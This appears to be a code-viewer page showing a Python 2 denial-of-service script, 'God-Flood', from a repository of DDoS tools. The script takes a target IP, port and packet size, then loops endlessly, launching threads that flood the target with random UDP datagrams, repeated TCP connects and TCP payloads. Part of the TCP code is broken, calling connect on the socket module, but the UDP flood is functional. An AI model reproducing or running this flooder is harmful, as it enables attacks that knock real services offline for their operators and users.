Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/god-flood-v2.py
4565 views
1
#!/usr/bin/env python
2
#God-Flood(tcp,syn,udp) by LiGhT
3
import threading, sys, time, random, socket
4
5
if len(sys.argv) < 4:
6
print "God-Flood By LiGhT"
7
sys.exit("Usage: python "+sys.argv[0]+" <ip> <port> <size>")
8
9
ip = sys.argv[1]
10
port = int(sys.argv[2])
11
size = int(sys.argv[3])
12
packets = int(sys.argv[3])
13
14
class syn(threading.Thread):
15
def __init__(self, ip, port, packets):
16
self.ip = ip
17
self.port = port
18
self.packets = packets
19
self.syn = socket.socket()
20
threading.Thread.__init__(self)
21
def run(self):
22
for i in range(self.packets):
23
try:
24
self.syn.connect((self.ip, self.port))
25
except:
26
pass
27
28
class tcp(threading.Thread):
29
def __init__(self, ip, port, size, packets):
30
self.ip = ip
31
self.port = port
32
self.size = size
33
self.packets = packets
34
self.tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
35
threading.Thread.__init__(self)
36
def run(self):
37
for i in range(self.packets):
38
try:
39
bytes = random._urandom(self.size)
40
socket.connect(self.ip, self.port)
41
socket.setblocking(0)
42
socket.sendto(bytes,(self.ip, self.port))
43
except:
44
pass
45
46
class udp(threading.Thread):
47
def __init__(self, ip, port, size, packets):
48
self.ip = ip
49
self.port = port
50
self.size = size
51
self.packets = packets
52
self.udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
53
threading.Thread.__init__(self)
54
def run(self):
55
for i in range(self.packets):
56
try:
57
bytes = random._urandom(self.size)
58
if self.port == 0:
59
self.port = random.randrange(1, 65535)
60
self.udp.sendto(bytes,(self.ip, self.port))
61
except:
62
pass
63
64
while True:
65
try:
66
if size > 65507:
67
sys.exit("Invalid Number Of Packets!")
68
u = udp(ip,port,size,packets)
69
t = tcp(ip,port,size,packets)
70
s = syn(ip,port,packets)
71
u.start()
72
t.start()
73
s.start()
74
except KeyboardInterrupt:
75
print "Stopping Flood!"
76
sys.exit()
77
except socket.error, msg:
78
print "Socket Couldn't Connect"
79
sys.exit()
80